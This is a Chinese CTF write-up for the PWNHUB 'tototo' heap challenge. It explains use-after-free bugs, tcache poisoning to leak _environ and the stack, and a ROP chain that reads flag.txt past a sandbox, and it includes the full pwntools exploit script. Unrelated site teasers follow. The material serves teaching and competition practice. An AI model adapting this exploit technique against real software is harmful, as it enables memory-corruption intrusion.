2023 PWNHUB 3月赛-【tototo】

文章目录

  • volatile
  • 泄露_environ打栈
  • 漏洞
  • 利用
  • malloc和calloc
  • 思路(打_environ)
  • 代码

volatile

int volatile vInt; 当要求使用 volatile 声明的变量值的时候,系统总是重新从它所在的内存读取数据,即使它前面的指令刚刚从该处读取过数据。而且读取的数据立刻被保存

泄露_environ打栈

libc中有一个叫做 _environ 的全局变量,里面存放着当前进程的环境变量的地址即栈上的某个地址。

漏洞

禁了_free_hook. malloc的size从0x200到0x800,index限制15内

存在show after free,edit after free,但只能edit三次 change_chunk(chunk_addr_array[index] + 9LL, chunk_size_array[index] - 48LL);以及存在double use chunk (存在两个不同的index但对应chunk相同)
在这里插入图片描述

利用

沙箱禁用execve

在 Linux 系统中,system(“/bin/sh”) 函数调用会导致一系列的系统调用。system() 是 C 语言标准库函数,用于执行一个命令字符串——在这种情况下,是启动一个 shell。这个函数通常会执行以下步骤:

  1. fork(): system() 首先调用 fork() 创建一个新的进程。这是通过 fork() 系统调用完成的,它复制了当前进程,创建了一个几乎完全相同的子进程。

  2. execve(): 在子进程中,system() 接着调用 execve() 或者其他 exec 系列的函数来执行指定的命令。execve() 系统调用会替换当前进程的映像、数据和堆栈等,用新的程序(在这个例子中是 /bin/sh)。

  3. waitpid(): 在父进程中,system() 调用 waitpid() 系统调用,等待子进程的结束。waitpid() 允许父进程收集子进程的退出状态。

  4. exit(): 一旦 /bin/sh 执行完毕,子进程会通过 exit() 系统调用终止,这将向父进程发送一个信号表明子进程已经结束。

malloc和calloc

callocmalloc都是C语言中用于动态内存分配的函数,但它们之间存在一些关键差异:

  1. 初始化差异

    • calloc在分配内存后会自动将这块内存区域中的每一位初始化为零,这意味着分配的内存空间是干净的,所有元素初始值为0。
    • malloc仅仅分配内存而不进行任何初始化,分配的内存中的数据是未定义的,可能是随机的先前值(即所谓的“垃圾数据”)。
  2. 参数和使用方式

    • calloc接受两个参数:第一个参数是要分配的元素数量,第二个参数是每个元素的大小(以字节为单位)。这使得calloc很适合用来分配数组,因为它可以直接根据元素数量和单个元素大小来分配。
    • malloc只接受一个参数,即需要分配的总内存大小(以字节为单位)。使用malloc时,你需要手动计算所需的总字节数,并且分配之后可能还需要额外的初始化步骤(如果需要零初始化或其他特定值)。

思路(打_environ)

  1. 先通过分配一个0x630大小的chunk0和一个0x210大小的chunk1,然后free掉0x630大小的chunk0,再show泄露出libc地址
  2. 然后连续分三个0x210大小的chunk234正好占据了之前0x630大小的chunk0的位置
  3. 然后free掉3,1,利用edit after free修改chunk0间接修改到chunk3的fd指针为_environ,然后分配0x210两次3,1得到为environ地址开始的堆块,然后show chunk1就可以得到enviro地址内的内容,就是在environ栈上的地址
  4. 然后再free chunk 3和4 ,利用edit after free修改chunk0间接修改到chunk3的fd指针为栈地址,然后分配0x210两次3,4,得到栈地址为开始的堆块,然后edit该内容实现rop链orw

代码

from pwn import *
p=process("./tototo")
libc = ELF('./libc-2.31.so')
elf=ELF("./tototo")
context(arch="amd64")
#gdb.attach(p)
#pause()
def add(index,size):p.sendlineafter(b"is:",b"1")p.recvuntil(b"index?\n")p.sendline(str(index))p.recvuntil(b"size?\n")p.sendline(str(size))def dele(index):p.sendlineafter(b"is:",b"2")p.recvuntil(b"Which one?\n")p.sendline(str(index))def edit(index,content):p.sendlineafter(b"is:",b"3")p.recvuntil(b"Which one?\n")p.sendline(str(index))p.recvuntil(b"new content?\n")p.sendline(content)def show(index):p.sendlineafter(b"is:",b"4")p.sendlineafter(b"Which one?\n",str(index))add(0,0x620)
add(1,0x200)dele(0)
show(0)
libc_add=p.recvuntil(b"\x7f")
libc.address=int.from_bytes(libc_add,byteorder="little")-0x60-0x1ebb80
print("get libc ",hex(libc.address))add(2,0x200)
add(3,0x200)
add(4,0x200)dele(1)
dele(3)
payload=b"\x00"*0x1ff+p64(0x211)+p64(libc.sym['_environ'])
edit(0,payload)
add(3,0x200)
add(1,0x200) 
show(1)
stack_address=p.recvuntil(b"\x7f")
stack_address=int.from_bytes(stack_address,byteorder="little")-0x120-0x20
print("stack address",hex(stack_address))
#为libc上的environ地址为开始的堆块
#show显示environ地址内容即environ在栈上的地址
dele(4)
dele(3)payload=b"\x00"*0x1ff+p64(0x211)+p64(stack_address)
edit(0,payload)add(3,0x200)
add(4,0x200)pop_rdi = p64(libc.address + 0x0000000000026b72)  # 使用p64将地址转换为8字节的字节串
pop_rdx = p64(libc.address + 0x000000000011c371)
pop_rsi = p64(libc.address + 0x0000000000027529)
pop_rax = p64(libc.address + 0x000000000004a550)
syscall = p64(libc.address + 0x0000000000066229)# 注意使用b'\x00'来表示空字节,并使用+b进行字节串的拼接
orw = b'\x00' * 0x17 + pop_rdi + p64(0) + pop_rsi + p64(0) + pop_rdx + p64(0)+p64(0) + pop_rax + p64(2) + syscall  \+ pop_rdi + p64(3) + pop_rsi + p64(0) + pop_rdx + p64(0x100) + p64(0) + pop_rax + p64(0) + syscall  \+ pop_rdi + p64(1)  + pop_rax + p64(1)  + syscall  + b'flag.txt\x00' file_addr= p64(stack_address + len(orw)-0)
orw = b'\x00' * 0x17 + pop_rdi + file_addr + pop_rsi + p64(0) + pop_rdx + p64(0)+p64(0) + pop_rax + p64(2) + syscall  \+ pop_rdi + p64(3) + pop_rsi + file_addr + pop_rdx + p64(0x100) + p64(0) + pop_rax + p64(0) + syscall  \+ pop_rdi + p64(1)  + pop_rax + p64(1)  + syscall  + b'flag.txt\x00' 
# 现在 orw 是一个有效的字节串,可用于ROP攻击载荷payload=orw
edit(4,payload)
flag=str(p.recvuntil(b"}"))
print(flag)
#为返回地址所在栈上位置开始的堆块,但由于编辑只能从第九个字符开始编辑,所以提前减9
p.interactive()
#0x7ffd53eee778-0x00007ffd53eee898

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/697368.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

孙宇晨对话大公网:香港Web3政策友好环境示范意义重大

日前,全球知名华文媒体大公网发布《湾区web3大有可为》重磅系列报道。报道通过对中国香港与大湾区其他城市Web3政策、行业创新和生态建设等方面的梳理,以及对行业领袖和重要行业机构的走访,全面展现了在大湾区一体化发展的背景下,Web3等数字经济模式在该地区的长远发展潜力。 …

GitHub和huggingface镜像网站

GitHub镜像网站 gitclone 如果网络原因打不开GitHub的话,可以用这个网站进行克隆项目,将克隆代码修改一下 git clone https://github.com/comfyanonymous/ComfyUI.git 修改 git clone https://gitclone.com/github.com/comfyanonymous/ComfyUI.git 这个…

[附源码]剑灵三系可乐6.1_Win服务端_联网+单机搭建

本教程仅限学习使用,禁止商用,一切后果与本人无关,此声明具有法律效应!!!! 教程是本人亲自搭建成功的,绝对是完整可运行的,踩过的坑都给你们填上了。 如果你是小白也没…

depcheck检查项目中未被使用的依赖

depcheck是一个用于分析项目中依赖项的工具,可以查看:每个依赖项是如何使用的,哪些依赖项是无用的,以及哪些依赖项在package.json 1、安装 npm install -g depcheck # 必须全局安装2、可配置文件.depcheckrc(不配置 直…

Django图书馆综合项目-学习

图书馆项目 一 前期准备 安装好所需的环境 我这边用的IDE是VScode 操作系统是MACOS 二 先创建一个虚拟环境 python3 -m venv myenvbook source myenvbook/bin/activate 三 安装 Django pip3 install django4.2 四 创建 Django 项目 django-admin startproject bookp…

简单实现---基于STL的演讲比赛流程管理系统(C++实现)

前言 事先声明:本文章中编写的代码仅用于学习算法思想和编写基础形式使用,并未进行太多的代码优化,因此,若需要对代码进行优化以及异常处理的小伙伴们,可自行添加相关操作,谢谢! 一、题…

解决kali linux ssh连接失败

kali linux 默认ssh是禁止root登录的 为了通过 SSH 进入你的 Kali Linux 系统,你可以有两个不同的选择。第一个选择是创建一个新的非特权用户然后使用它的身份来登录。第二个选择,你可以以 root 用户访问 SSH 。为了实现这件事,需要在SSH 配…

[嵌入式系统-78]:RT-Thread:线程管理的基本原理与应用

目录 一、RTT线程的特点 二、RTT线程机制 2.1 线程的属性与线程控制块详解 2.2 线程的调度 2.3 线程的切换 2.5 系统线程 三、线程的调度机制 3.1 线程创建与删除 1、线程控制块 2、线程栈 3、入口函数 4、线程的创建方式 (1)静态线程初始化函…

visual studio2022 JNI极简开发流程

文章目录 1 创建java类2 生成JNI头文件3 使用visual studio2022创建DLL项目3.1 选择模板中(Windows桌面向导)3.2 为项目命名3.3 选择应用程序类型为动态链接库3.4 项目概览 4 导入需要的头文件4.1 导入需要的头文件4.2 修改头文件 5 编写C实现6 生成dll文…

O2OA翱途开发平台前端API和后端API的访问以及使用

O2OA是一个高度可定制化的企业级开发平台,它的API(应用程序接口)分为前端和后端,各自有不同的用途,平台为用户开放了全部的后端API供开发者使用,开发者可以根据各类API组织出符合实际业务需求的新服务或者新…

leetcode-最长公共子序列(二)-103

题目要求 思路 step 1:优先检查特殊情况。 step 2:获取最长公共子序列的长度可以使用动态规划,我们以dp[i][j]dp[i][j]dp[i][j]表示在s1中以iii结尾,s2中以jjj结尾的字符串的最长公共子序列长度。 step 3:遍历两个字…

计算机毕业设计hadoop+spark+hive知识图谱bilibili视频数据分析可视化大屏 视频推荐系统 预测系统 实时计算 离线计算 数据仓库

研究意义 随着互联网的快速发展,人们面临着海量的视频内容,如何从这些繁杂的视频中找到自己感兴趣的内容成为一个重要的问题[1]。推荐系统作为一种解决信息过载问题的重要工具,能够根据用户的历史行为和偏好,预测用户可能感兴趣的…